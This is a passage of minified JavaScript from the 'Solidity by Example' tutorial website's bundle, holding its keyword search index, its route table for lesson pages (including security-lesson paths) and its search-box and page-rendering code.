i/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],IR=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash"],dR=["/defi/uniswap-v3-swap","/defi/uniswap-v3-flash-swap","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2","/defi/stable-swap-amm"],CR=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/stable-swap-amm","/defi/constant-sum-amm","/defi/constant-product-amm"],jR=["/defi/uniswap-v3-liquidity","/defi/uniswap-v2-add-remove-liquidity"],AR=["/defi/uniswap-v3-flash-swap"],uR=["/defi/uniswap-v3-flash","/defi/uniswap-v2-flash-swap"],yR=["/defi/uniswap-v3-flash"],mR=["/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],bR=["/defi/uniswap-v2-optimal-one-sided-supply"],wR=["/defi/uniswap-v2-optimal-one-sided-supply"],kR=["/defi/uniswap-v2-optimal-one-sided-supply"],ZR=["/defi/uniswap-v2-optimal-one-sided-supply"],WR=["/defi/uniswap-v2-add-remove-liquidity","/assembly-math"],GR=["/defi/uniswap-v2-add-remove-liquidity"],BR=["/defi/staking-rewards","/defi/discrete-staking-rewards"],fR=["/defi/staking-rewards","/defi/discrete-staking-rewards"],VR=["/defi/staking-rewards","/defi/discrete-staking-rewards"],YR=["/defi/stable-swap-amm"],XR=["/defi/stable-swap-amm"],RR=["/defi/discrete-staking-rewards"],vR=["/defi/dai-proxy"],NR=["/defi/dai-proxy","/app/upgradeable-proxy","/app/minimal-proxy"],HR=["/defi/constant-sum-amm"],KR=["/defi/constant-product-amm"],FR=["/defi/chainlink-price-oracle"],MR=["/defi/chainlink-price-oracle"],SR=["/defi/chainlink-price-oracle"],xR=["/defi/chainlink-price-oracle"],JR=["/data-locations"],zR=["/data-locations"],DR=["/data-locations"],ER=["/constructor"],QR=["/constructor"],TR=["/calling-contract"],UR=["/bitwise"],LR=["/bitwise"],_R=["/bitwise"],OR=["/bitwise"],PR=["/assembly-math"],$R=["/array"],qR=["/array"],sv=["/app/write-to-any-slot"],av=["/app/write-to-any-slot","/app/deploy-any-contract"],nv=["/app/write-to-any-slot"],lv=["/app/upgradeable-proxy"],pv=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],ev=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],cv=["/app/time-lock"],tv=["/app/simple-bytecode-contract"],ov=["/app/simple-bytecode-contract"],rv=["/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call"],iv=["/app/multi-sig-wallet"],gv=["/app/multi-sig-wallet","/app/ether-wallet"],hv=["/app/multi-call"],Iv=["/app/minimal-proxy"],dv=["/app/merkle-tree","/app/airdrop"],Cv=["/app/merkle-tree"],jv=["/app/iterable-mapping"],Av=["/app/gasless-token-transfer"],uv=["/app/gasless-token-transfer","/app/erc20"],yv=["/app/gasless-token-transfer"],mv=["/app/erc721"],bv=["/app/erc721"],wv=["/app/erc721","/app/erc1155"],kv=["/app/erc20"],Zv=["/app/erc20"],Wv=["/app/erc1155"],Gv=["/app/erc1155"],Bv=["/app/english-auction"],fv=["/app/english-auction","/app/dutch-auction"],Vv=["/app/english-auction","/app/dutch-auction"],Yv=["/app/dutch-auction"],Xv=["/app/crowd-fund"],Rv=["/app/crowd-fund"],vv=["/app/crowd-fund"],Nv=["/app/create2"],Hv=["/app/assembly-bin-exp"],Kv=["/app/assembly-bin-exp"],Fv=["/app/airdrop"],Mv=["/abi-encode","/abi-decode"],Sv=["/abi-encode"],xv=["/abi-encode","/abi-decode"],Jv=["/abi-encode"],zv=["/abi-encode"],Dv=["/abi-encode"],Ev=["/abi-decode"],vo={visibility:r1,function:["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],functions:i1,internal:g1,private:["/visibility","/hacks/accessing-private-data"],public:["/visibility"],external:h1,view:I1,pure:d1,variable:C1,variables:j1,local:A1,global:u1,state:y1,data:m1,user:b1,defined:w1,value:k1,types:Z1,udvt:W1,gas:G1,unchecked:B1,math:f1,overflow:V1,underflow:Y1,try:["/try-catch"],catch:["/try-catch"],error:X1,errors:R1,transient:v1,storage:N1,test:H1,echidna:K1,calling:F1,parent:M1,contract:S1,contracts:x1,inheritance:J1,super:["/super","/inheritance"],struct:z1,structs:D1,type:E1,reading:Q1,writing:T1,app:U1,application:L1,cryptography:_1,verify:O1,verifying:P1,signature:$1,signatures:q1,ecrecover:sY,shadow:aY,shadowing:nY,sending:lY,send:pY,ether:eY,eth:cY,transfer:tY,call:oY,fallback:rY,receive:iY,payable:gY,primitive:hY,primitives:IY,boolean:dY,uint256:CY,int256:jY,address:AY,uint:uY,int:yY,new:["/new-contract","/new-contract"],create:mY,creates:bY,create2:wY,salt:kY,mapping:ZY,for:["/loop","/assembly-loop"],loop:WY,loops:GY,while:["/loop","/assembly-loop"],do:["/loop"],library:BY,interface:["/interface"],interfaces:fY,override:VY,virtual:YY,is:XY,import:["/import","/enum"],constant:RY,constants:vY,immutable:NY,immutables:HY,if:["/if-else","/assembly-if"],else:["/if-else"],conditional:KY,statement:FY,statements:MY,hello:SY,world:xY,hash:JY,hashing:zY,keccak256:DY,hack:EY,security:QY,weth:TY,permit:UY,inflation:LY,erc4626:_Y,vault:OY,replay:PY,selfdestruct:$Y,"re-entrancy":["/hacks/re-entrancy"],source:qY,random:sX,randomness:aX,blockhash:nX,block:lX,timestamp:pX,phishing:eX,"tx.origin":["/hacks/phishing-with-tx-origin"],arithmetic:cX,honeypot:tX,hide:oX,hiding:rX,malicious:iX,code:gX,front:hX,running:IX,deploy:dX,different:CX,same:jX,denial:AX,service:uX,delegatecall:yX,bypass:mX,size:bX,check:wX,extcodesize:kX,manipulation:ZX,access:WX,accessing:GX,golf:BX,selector:fX,selectors:VX,modifier:YX,modifiers:XX,_:RX,foundry:vX,time:NX,warp:HX,skip:KX,roll:FX,unwind:MX,sign:SX,deal:xX,hoax:JX,mock:zX,label:DX,event:EX,basic:QX,counter:TX,auth:UX,authorization:LX,prank:_X,first:OX,evm:PX,yul:$X,assembly:qX,memory:sR,events:aR,advanced:nR,"event-driven":["/events-advanced"],monitoring:lR,filtering:pR,wei:eR,units:cR,require:tR,revert:oR,assert:rR,enum:["/enum"],imports:iR,defi:gR,uniswap:hR,v3:IR,swap:dR,amm:CR,liquidity:jR,arbitrage:AR,flash:uR,loan:yR,v2:mR,optimal:bR,one:wR,sided:kR,supply:ZR,add:WR,remove:GR,staking:BR,reward:fR,rewards:VR,curve:YR,stable:XR,discrete:RR,dai:vR,proxy:NR,sum:HR,product:KR,chainlink:FR,price:MR,oracle:SR,oracles:xR,location:JR,locations:zR,calldata:DR,constructor:ER,constructors:QR,other:TR,bitwise:UR,most:LR,significant:_R,bit:OR,mul:PR,switch:["/assembly-if"],array:$R,arrays:qR,write:sv,any:av,slot:nv,upgradeable:lv,"uni-directional":["/app/uni-directional-payment-channel"],payment:pv,channel:ev,lock:cv,simple:tv,bytecode:ov,multi:rv,sig:iv,wallet:gv,staticcall:hv,minimal:Iv,merkle:dv,tree:Cv,iterable:jv,gasless:Av,token:uv,ERC20:yv,erc721:mv,ierc721:bv,nft:wv,erc20:kv,ierc20:Zv,erc1155:Wv,ierc1155:Gv,english:Bv,auction:fv,auctions:Vv,dutch:Yv,crowd:Xv,fund:Rv,funding:vv,precompute:Nv,"bi-directional":["/app/bi-directional-payment-channel"],binary:Hv,exponentiation:Kv,airdrop:Fv,abi:Mv,encode:Sv,bytes:xv,encodeWithSelector:Jv,encodeWithSignature:zv,encodeCall:Dv,decode:Ev},No={"/visibility":["visibility","function","functions","internal","private","public","external"],"/view-and-pure-functions":["view","pure","function","functions"],"/variables":["variable","variables","local","global","state","data"],"/user-defined-value-types":["data","user","defined","value","types","udvt"],"/unchecked-math":["gas","unchecked","math","overflow","underflow"],"/try-catch":["try","catch","error","errors"],"/transient-storage":["transient","storage"],"/tests/echidna":["test","echidna"],"/super":["calling","parent","contract","contracts","inheritance","super"],"/structs":["struct","structs","data","type","types","variable","variables"],"/state-variables":["reading","writing","state","variable","variables","app","application"],"/signature":["cryptography","verify","verifying","signature","signatures","ecrecover"],"/shadowing-inherited-state-variables":["state","variables","variable","shadow","shadowing","inheritance"],"/sending-ether":["sending","send","ether","eth","transfer","send","call","fallback","receive","payable","function","functions"],"/primitives":["primitive","primitives","data","type","types","variable","variables","boolean","uint256","int256","address","uint","int"],"/payable":["payable","eth","send","ether"],"/new-contract":["new","contract","create","contracts","creates","new","create2","salt"],"/mapping":["data","variable","variables","mapping"],"/loop":["for","loop","loops","while","do"],"/library":["library"],"/interface":["interface","interfaces","contract","contracts"],"/inheritance":["inheritance","super","override","virtual","is","contract","contracts"],"/import":["import"],"/immutable":["constant","constants","immutable","immutables","data","variable","variables"],"/if-else":["if","else","conditional","statement","statements"],"/hello-world":["contract","app","application","hello","world"],"/hashing":["hash","hashing","function","functions","keccak256","cryptography"],"/hacks/weth-permit":["hack","security","weth","permit"],"/hacks/vault-inflation":["hack","security","inflation","erc4626","vault"],"/hacks/signature-replay":["hack","security","cryptography","signature","replay"],"/hacks/self-destruct":["hack","security","selfdestruct"],"/hacks/re-entrancy":["hack","security","re-entrancy"],"/hacks/randomness":["hack","security","source","random","randomness","blockhash","block","timestamp"],"/hacks/phishing-with-tx-origin":["hack","security","phishing","tx.origin"],"/hacks/overflow":["hack","security","arithmetic","overflow","underflow"],"/hacks/honeypot":["hack","security","honeypot"],"/hacks/hiding-malicious-code-with-external-contract":["hack","security","hide","hiding","malicious","code","external","contract"],"/hacks/front-running":["hack","security","front","running"],"/hacks/deploy-different-contracts-same-address":["hack","security","deploy","salt","create","create2","different","contract","same","address"],"/hacks/denial-of-service":["hack","security","denial","service"],"/hacks/delegatecall":["hack","security","delegatecall"],"/hacks/contract-size":["hack","security","bypass","contract","size","check","extcodesize"],"/hacks/block-timestamp-manipulation":["hack","security","block","timestamp","manipulation"],"/hacks/accessing-private-data":["hack","security","access","accessing","private","data","storage"],"/gas-golf":["gas","golf"],"/gas":["gas"],"/function-selector":["function","functions","selector","selectors"],"/function-modifier":["function","functions","modifier","modifiers","_"],"/function":["function","functions"],"/foundry/time":["foundry","time","warp","skip","roll","unwind"],"/foundry/sign":["foundry","sign","signature","ecrecover"],"/foundry/send":["foundry","send","deal","hoax"],"/foundry/mock-call":["foundry","mock","call"],"/foundry/label":["foundry","label"],"/foundry/event":["foundry","event"],"/foundry/error":["foundry","error"],"/foundry/basic":["foundry","basic","counter"],"/foundry/auth":["foundry","auth","authorization","prank"],"/first-app":["contract","contracts","app","first","application","counter"],"/fallback":["fallback","function","functions","receive","payable","send","ether","eth","transfer"],"/evm/storage":["data","evm","storage","state","variable","yul","assembly"],"/evm/memory":["data","evm","memory","yul","assembly"],"/events-advanced":["events","advanced","event-driven","monitoring","filtering","security"],"/events":["event","events"],"/ether-units":["data","variables","variable","ether","wei","units"],"/error":["error","errors","require","revert","assert"],"/enum":["data","variable","variables","enum","import","imports"],"/delegatecall":["delegatecall","call","contract","contracts","function","functions"],"/defi/vault":["defi","vault"],"/defi/uniswap-v3-swap":["defi","uniswap","v3","swap","amm"],"/defi/uniswap-v3-liquidity":["defi","uniswap","v3","liquidity","amm"],"/defi/uniswap-v3-flash-swap":["defi","uniswap","v3","swap","arbitrage","amm"],"/defi/uniswap-v3-flash":["defi","uniswap","v3","flash","loan","amm"],"/defi/uniswap-v2-optimal-one-sided-supply":["defi","uniswap","v2","optimal","one","sided","supply","amm"],"/defi/uniswap-v2-flash-swap":["defi","uniswap","v2","flash","swap","amm"],"/defi/uniswap-v2-add-remove-liquidity":["defi","uniswap","v2","add","remove","liquidity","amm"],"/defi/uniswap-v2":["defi","uniswap","v2","swap","amm"],"/defi/staking-rewards":["defi","staking","reward","rewards"],"/defi/stable-swap-amm":["defi","curve","stable","swap","amm"],"/defi/discrete-staking-rewards":["defi","discrete","staking","reward","rewards"],"/defi/dai-proxy":["defi","dai","proxy"],"/defi/constant-sum-amm":["defi","constant","sum","amm"],"/defi/constant-product-amm":["defi","constant","product","amm"],"/defi/chainlink-price-oracle":["defi","chainlink","price","oracle","oracles"],"/data-locations":["data","location","locations","storage","memory","calldata"],"/constructor":["constructor","constructors","contract","inheritance"],"/constants":["constant","constants","data","variable","variables"],"/calling-contract":["calling","other","contract","contracts","call","function","functions"],"/call":["contract","contracts","call","function","functions"],"/bitwise":["bitwise","most","significant","bit","assembly"],"/assembly-variable":["assembly","variable","yul"],"/assembly-math":["assembly","yul","math","add","mul"],"/assembly-loop":["assembly","loop","yul","while","for"],"/assembly-if":["assembly","yul","if","switch"],"/assembly-error":["assembly","yul","error","revert"],"/array":["data","variable","variables","array","arrays"],"/app/write-to-any-slot":["app","application","write","any","slot","storage"],"/app/upgradeable-proxy":["app","application","delegatecall","upgradeable","proxy"],"/app/uni-directional-payment-channel":["app","application","uni-directional","payment","channel","signature","cryptography"],"/app/time-lock":["app","application","time","lock"],"/app/simple-bytecode-contract":["app","application","simple","bytecode","contract"],"/app/multi-sig-wallet":["app","application","multi","sig","signature","wallet"],"/app/multi-delegatecall":["app","application","multi","delegatecall"],"/app/multi-call":["app","application","multi","call","staticcall"],"/app/minimal-proxy":["app","application","minimal","proxy","contract"],"/app/merkle-tree":["app","application","merkle","tree","cryptography"],"/app/iterable-mapping":["app","application","mapping","data","iterable"],"/app/gasless-token-transfer":["app","application","gasless","token","transfer","ERC20","permit"],"/app/ether-wallet":["app","application","ether","eth","wallet"],"/app/erc721":["app","application","erc721","ierc721","nft"],"/app/erc20":["app","application","erc20","ierc20","token"],"/app/erc1155":["app","application","erc1155","nft","ierc1155"],"/app/english-auction":["app","application","english","auction","auctions"],"/app/dutch-auction":["app","application","dutch","auction","auctions"],"/app/deploy-any-contract":["app","application","deploy","any","contract"],"/app/crowd-fund":["app","application","crowd","fund","funding"],"/app/create2":["app","application","create2","precompute","contract","address"],"/app/bi-directional-payment-channel":["app","application","bi-directional","payment","channel","signature","cryptography"],"/app/assembly-bin-exp":["assembly","yul","binary","exponentiation","math"],"/app/airdrop":["app","application","merkle","airdrop"],"/abi-encode":["abi","encode","bytes","encodeWithSelector","encodeWithSignature","encodeCall"],"/abi-decode":["abi","decode","bytes"]},hc=[];for(const s of Object.keys(No))hc.push(...No[s]);const Cg={};for(let s=0;s{const I=n.get("q");I!=null&&I.length>0&&(a(I),c(I,!1))},[]);function c(I,d){const j=I.trim();if(j.length==0){e(null),d&&l({q:""});return}const u=Qv(j.split(" ")),m={};for(const b of u){const G=Tv(b);for(const h of G)m[h]=!0}e(m),d&&l({q:j})}const t=e1(I=>c(I,!0),500,[]);function o(I){a(I),t(I)}function i(){return p?Object.keys(p).length==0?r.jsx("div",{children:"No results"}):r.jsx("ul",{className:as.list,children:jp.filter(({path:I})=>p[I]).map(({path:I,title:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:I,children:d})},I))}):r.jsxs(r.Fragment,{children:[rt.map(({routes:I,title:d},j)=>r.jsxs("div",{children:[d&&r.jsx("h3",{className:as.category,children:d}),r.jsx("ul",{className:as.list,children:I.map(({path:u,title:m})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:u,children:m})},u))})]},j)),r.jsxs("div",{children:[r.jsx("h3",{className:as.category,children:"Translations"}),_d.map(({lang:I,url:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:d,target:"__blank",children:I})},d))]})]})}return r.jsxs("div",{className:as.component,children:[r.jsx(dg,{title:"Solidity by Example | 0.8.26",description:"Learn smart contract programming using Solidity"}),r.jsx("h1",{className:as.header,children:r.jsx("a",{href:"/",children:"Solidity by Example"})}),r.jsx("div",{className:as.subHeader,children:"v 0.8.26"}),r.jsxs("div",{className:as.main,children:[r.jsxs("p",{children:["Introduction to ",r.jsx("a",{href:"https://solidity.readthedocs.io",children:"Solidity"})," with simple examples"]}),r.jsxs("div",{className:as.youTube,children:[r.jsx("img",{src:Ig,alt:"logo",className:as.youTubeLogo}),r.jsx("a",{href:"https://www.youtube.com/@smartcontractprogrammer",target:"__blank",children:"Most code are explained here"})]}),r.jsxs("div",{className:as.updraft,children:[r.jsx("img",{src:hg,alt:"logo",className:as.updraftLogo}),r.jsx("a",{href:"https://updraft.cyfrin.io/",target:"__blank",children:"Learn Solidity at Cyfrin Updraft"})]}),r.jsx("div",{className:as.updates,children:pN.map((I,d)=>r.jsx("div",{children:I},d))}),r.jsx("div",{className:as.search,children:r.jsx(MV,{value:s,onChange:o})}),i()]})]})}const cN=[{path:"/abi-decode",component:_C},{path:"/abi-encode",component:nj},{path:"/app/airdrop",component:rj},{path:"/app/assembly-bin-exp",component:jj},{path:"/app/bi-directional-payment-channel",component:kj},{path:"/app/create2",component:Yj},{path:"/app/crowd-fund",component:Fj},{path:"/app/deploy-any-contract",component:Ej},{path:"/app/dutch-auction",component:Pj},{path:"/app/english-auction",component:pA},{path:"/app/erc1155",component:gA},{path:"/app/erc20",component:uA},{path:"/app/erc721",component:WA},{path:"/app/ether-wallet",component:RA},{path:"/app/gasless-token-transfer",component:SA},{path:"/app/iterable-mapping",component:TA},{path:"/app/merkle-tree",component:qA},{path:"/app/minimal-proxy",component:cu},{path:"/app/multi-call",component:Iu},{path:"/app/multi-delegatecall",component:mu},{path:"/app/multi-sig-wallet",component:Bu},{path:"/app/simple-bytecode-contract",component:Nu},{path:"/app/time-lock",component:Ju},{path:"/app/uni-directional-payment-channel",component:Lu},{path:"/app/upgradeable-proxy",component:ay},{path:"/app/write-to-any-slot",component:oy},{path:"/array",component:Cy},{path:"/assembly-error",component:wy},{path:"/assembly-if",component:Vy},{path:"/assembly-loop",component:Ky},{path:"/assembly-math",component:Dy},{path:"/assembly-variable",component:Oy},{path:"/bitwise",component:lm},{path:"/call",component:im},{path:"/calling-contract",component:Am},{path:"/constants",component:Zm},{path:"/constructor",component:Xm},{path:"/data-locations",component:Mm},{path:"/defi/chainlink-price-oracle",component:Qm},{path:"/defi/constant-product-amm",component:$m},{path:"/defi/constant-sum-amm",component:eb},{path:"/defi/dai-proxy",component:hb},{path:"/defi/discrete-staking-rewards",component:yb},{path:"/defi/stable-swap-amm",component:Gb},{path:"/defi/staking-rewards",component:vb},{path:"/defi/uniswap-v2",component:xb},{path:"/defi/uniswap-v2-add-remove-liquidity",component:Ub},{path:"/defi/uniswap-v2-flash-swap",component:sw},{path:"/defi/uniswap-v2-optimal-one-sided-supply",component:tw},{path:"/defi/uniswap-v3-flash",component:dw},{path:"/defi/uniswap-v3-flash-swap",component:bw},{path:"/defi/uniswap-v3-liquidity",component:fw},{path:"/defi/uniswap-v3-swap",component:Hw},{path:"/defi/vault",component:zw},{path:"/delegatecall",component:_w},{path:"/enum",component:nk},{path:"/error",component:rk},{path:"/ether-units",component:jk},{path:"/events",component:kk},{path:"/events-advanced",component:Yk},{path:"/evm/memory",component:Fk},{path:"/evm/storage",component:Ek},{path:"/fallback",component:Pk},{path:"/first-app",component:p0},{path:"/foundry/auth",component:g0},{path:"/foundry/basic",component:u0},{path:"/foundry/error",component:W0},{path:"/foundry/event",component:R0},{path:"/foundry/label",component:S0},{path:"/foundry/mock-call",component:T0},{path:"/foundry/send",component:q0},{path:"/foundry/sign",component:cZ},{path:"/foundry/time",component:IZ},{path:"/function",component:mZ},{path:"/function-modifier",component:BZ},{path:"/function-selector",component:NZ},{path:"/gas",component:JZ},{path:"/gas-golf",component:LZ},{path:"/hacks/accessing-private-data",component:aW},{path:"/hacks/block-timestamp-manipulation",component:oW},{path:"/hacks/contract-size",component:CW},{path:"/hacks/delegatecall",component:wW},{path:"/hacks/denial-of-service",component:VW},{path:"/hacks/deploy-different-contracts-same-address",component:KW},{path:"/hacks/front-running",component:DW},{path:"/hacks/hiding-malicious-code-with-external-contract",component:OW},{path:"/hacks/honeypot",component:l2},{path:"/hacks/overflow",component:i2},{path:"/hacks/phishing-with-tx-origin",component:A2},{path:"/hacks/randomness",component:Z2},{path:"/hacks/re-entrancy",component:X2},{path:"/hacks/self-destruct",component:M2},{path:"/hacks/signature-replay",component:Q2},{path:"/hacks/vault-inflation",component:$2},{path:"/hacks/weth-permit",component:eG},{path:"/hashing",component:hG},{path:"/hello-world",component:yG},{path:"/if-else",component:GG},{path:"/immutable",component:vG},{path:"/import",component:xG},{path:"/inheritance",component:UG},{path:"/interface",component:sB},{path:"/library",component:tB},{path:"/loop",component:dB},{path:"/mapping",component:bB},{path:"/new-contract",component:fB},{path:"/payable",component:HB},{path:"/primitives",component:zB},{path:"/sending-ether",component:_B},{path:"/shadowing-inherited-state-variables",component:nf},{path:"/signature",component:rf},{path:"/state-variables",component:Af},{path:"/structs",component:Zf},{path:"/super",component:Xf},{path:"/tests/echidna",component:Mf},{path:"/transient-storage",component:Qf},{path:"/try-catch",component:$f},{path:"/unchecked-math",component:eV},{path:"/user-defined-value-types",component:hV},{path:"/variables",component:yV},{path:"/view-and-pure-functions",component:GV},{path:"/visibility",component:vV},{path:"",component:eN}];function Ho(){const{state:s,init:a}=tt();return W.useLayoutEffect(()=>{a({width:window.document.body.clientWidth})},[]),s.initialized?r.jsx(Md,{basename:"",children:r.jsx(HC,{children:r.jsx(Nd,{children:cN.map(n=>{const{prev:l,next:p}=pC(n.path);return r.jsx(gg,{path:n.path,element:Lo.createElement(n.component,{prev:l,next:p})},n.path)})})})}):null}const tN=document.getElementById("root"),oN=$i(tN),Ko=document.getElementById("root");Ko.hasChildNodes()?Pi(Ko,r.jsx(wo,{children:r.jsx(Ho,{})})):oN.render(r.jsx(wo,{children:r.jsx(Ho,{})})); +`,vV=({prev:s,next:a})=>r.jsx(A,{version:BV,title:fV,description:VV,cyfrinLink:YV,html:RV,prev:s,next:a,codes:XV}),NV=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor",width:s,height:s,className:a,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"})}),HV="_component_efeb7_1",KV="_icon_efeb7_8",FV="_input_efeb7_12",Ie={component:HV,icon:KV,input:FV},MV=({value:s,onChange:a})=>{function n(l){a(l.target.value)}return r.jsxs("div",{className:Ie.component,children:[r.jsx(NV,{size:18,className:Ie.icon}),r.jsx("input",{className:Ie.input,placeholder:"Search",value:s,onChange:n})]})};var SV="Expected a function",Xo=NaN,xV="[object Symbol]",JV=/^\s+|\s+$/g,zV=/^[-+]0x[0-9a-f]+$/i,DV=/^0b[01]+$/i,EV=/^0o[0-7]+$/i,QV=parseInt,TV=typeof Il=="object"&&Il&&Il.Object===Object&&Il,LV=typeof self=="object"&&self&&self.Object===Object&&self,UV=TV||LV||Function("return this")(),_V=Object.prototype,OV=_V.toString,PV=Math.max,$V=Math.min,de=function(){return UV.Date.now()};function qV(s,a,n){var l,p,e,c,t,o,i=0,I=!1,d=!1,j=!0;if(typeof s!="function")throw new TypeError(SV);a=Ro(a)||0,gc(n)&&(I=!!n.leading,d="maxWait"in n,e=d?PV(Ro(n.maxWait)||0,a):e,j="trailing"in n?!!n.trailing:j);function u(k){var B=l,Y=p;return l=p=void 0,i=k,c=s.apply(Y,B),c}function m(k){return i=k,t=setTimeout(h,a),I?u(k):c}function b(k){var B=k-o,Y=k-i,x=a-B;return d?$V(x,e-Y):x}function G(k){var B=k-o,Y=k-i;return o===void 0||B>=a||B<0||d&&Y>=e}function h(){var k=de();if(G(k))return g(k);t=setTimeout(h,b(k))}function g(k){return t=void 0,j&&l?u(k):(l=p=void 0,c)}function C(){t!==void 0&&clearTimeout(t),i=0,l=o=p=t=void 0}function y(){return t===void 0?c:g(de())}function Z(){var k=de(),B=G(k);if(l=arguments,p=this,o=k,B){if(t===void 0)return m(o);if(d)return t=setTimeout(h,a),u(o)}return t===void 0&&(t=setTimeout(h,a)),c}return Z.cancel=C,Z.flush=y,Z}function gc(s){var a=typeof s;return!!s&&(a=="object"||a=="function")}function s1(s){return!!s&&typeof s=="object"}function a1(s){return typeof s=="symbol"||s1(s)&&OV.call(s)==xV}function Ro(s){if(typeof s=="number")return s;if(a1(s))return Xo;if(gc(s)){var a=typeof s.valueOf=="function"?s.valueOf():s;s=gc(a)?a+"":a}if(typeof s!="string")return s===0?s:+s;s=s.replace(JV,"");var n=DV.test(s);return n||EV.test(s)?QV(s.slice(2),n?2:8):zV.test(s)?Xo:+s}var n1=qV;const l1=Fo(n1),p1={leading:!1,trailing:!0};function e1(s,a,n){return W.useCallback(l1(s,a,p1),n)}function c1(s,a){let n=s;for(let l=0;l0;){const[e,c,t]=a.pop();p&&(l=l.slice(0,c-1),p=!1),l+=e;const o=Object.keys(t);if(o.length>0)for(let i=0;ia+p)}const r1=["/visibility"],i1=["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],g1=["/visibility"],h1=["/visibility","/hacks/hiding-malicious-code-with-external-contract"],I1=["/view-and-pure-functions"],d1=["/view-and-pure-functions"],C1=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/evm/storage","/ether-units","/enum","/constants","/assembly-variable","/array"],j1=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/array"],A1=["/variables"],u1=["/variables"],y1=["/variables","/state-variables","/shadowing-inherited-state-variables","/evm/storage"],m1=["/variables","/user-defined-value-types","/structs","/primitives","/mapping","/immutable","/hacks/accessing-private-data","/evm/storage","/evm/memory","/ether-units","/enum","/data-locations","/constants","/array","/app/iterable-mapping"],b1=["/user-defined-value-types"],w1=["/user-defined-value-types"],k1=["/user-defined-value-types"],Z1=["/user-defined-value-types","/structs","/primitives"],W1=["/user-defined-value-types"],G1=["/unchecked-math","/gas-golf","/gas"],B1=["/unchecked-math"],f1=["/unchecked-math","/assembly-math","/app/assembly-bin-exp"],V1=["/unchecked-math","/hacks/overflow"],Y1=["/unchecked-math","/hacks/overflow"],X1=["/try-catch","/foundry/error","/error","/assembly-error"],R1=["/try-catch","/error"],v1=["/transient-storage"],N1=["/transient-storage","/hacks/accessing-private-data","/evm/storage","/data-locations","/app/write-to-any-slot"],H1=["/tests/echidna"],K1=["/tests/echidna"],F1=["/super","/calling-contract"],M1=["/super"],S1=["/super","/new-contract","/interface","/inheritance","/hello-world","/hacks/hiding-malicious-code-with-external-contract","/hacks/deploy-different-contracts-same-address","/hacks/contract-size","/first-app","/delegatecall","/constructor","/calling-contract","/call","/app/simple-bytecode-contract","/app/minimal-proxy","/app/deploy-any-contract","/app/create2"],x1=["/super","/new-contract","/interface","/inheritance","/first-app","/delegatecall","/calling-contract","/call"],J1=["/super","/shadowing-inherited-state-variables","/inheritance","/constructor"],z1=["/structs"],D1=["/structs"],E1=["/structs","/primitives"],Q1=["/state-variables"],T1=["/state-variables"],L1=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel","/app/airdrop"],U1=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel","/app/airdrop"],_1=["/signature","/hashing","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/merkle-tree","/app/bi-directional-payment-channel"],O1=["/signature"],P1=["/signature"],$1=["/signature","/hacks/signature-replay","/foundry/sign","/app/uni-directional-payment-channel","/app/multi-sig-wallet","/app/bi-directional-payment-channel"],q1=["/signature"],sY=["/signature","/foundry/sign"],aY=["/shadowing-inherited-state-variables"],nY=["/shadowing-inherited-state-variables"],lY=["/sending-ether"],pY=["/sending-ether","/sending-ether","/payable","/foundry/send","/fallback"],eY=["/sending-ether","/payable","/fallback","/ether-units","/app/ether-wallet"],cY=["/sending-ether","/payable","/fallback","/app/ether-wallet"],tY=["/sending-ether","/fallback","/app/gasless-token-transfer"],oY=["/sending-ether","/foundry/mock-call","/delegatecall","/calling-contract","/call","/app/multi-call"],rY=["/sending-ether","/fallback"],iY=["/sending-ether","/fallback"],gY=["/sending-ether","/payable","/fallback"],hY=["/primitives"],IY=["/primitives"],dY=["/primitives"],CY=["/primitives"],jY=["/primitives"],AY=["/primitives","/hacks/deploy-different-contracts-same-address","/a